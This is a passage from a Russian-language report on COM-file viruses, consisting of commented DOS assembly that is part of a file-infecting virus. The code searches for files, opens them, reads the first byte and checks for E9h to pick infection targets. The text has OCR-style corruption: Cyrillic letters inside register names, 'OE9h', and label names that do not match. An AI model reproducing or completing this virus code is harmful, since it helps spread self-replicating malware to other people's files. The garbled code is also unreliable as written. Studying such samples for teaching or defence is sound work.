Доклад: СОМ-вирусы
Переходим к открытию файла
jmp Open
;Ищем следующий файл, так как предыдущий не подходит
FincLNext:
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh ;Адрес имени файла
pop сх
int 21 h
[Закрываем файл
mov ah,3Eh
int 21 h
;Ищем следующий файл
mov ah,4Fh
int 21 h
;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
.-Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21 h
;Если при открытии файла ошибок не произошло -
.переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;Читаем первый байт файла
See_Him:
xchg bx.ax
mov ah,3Fh
mov dx.offset buf-offset myself
add dx,bp
xor ex,ex ;CX=0
inc ex [(увеличение на 1) СХ=1
int 21 h
.Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего файла -
;этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next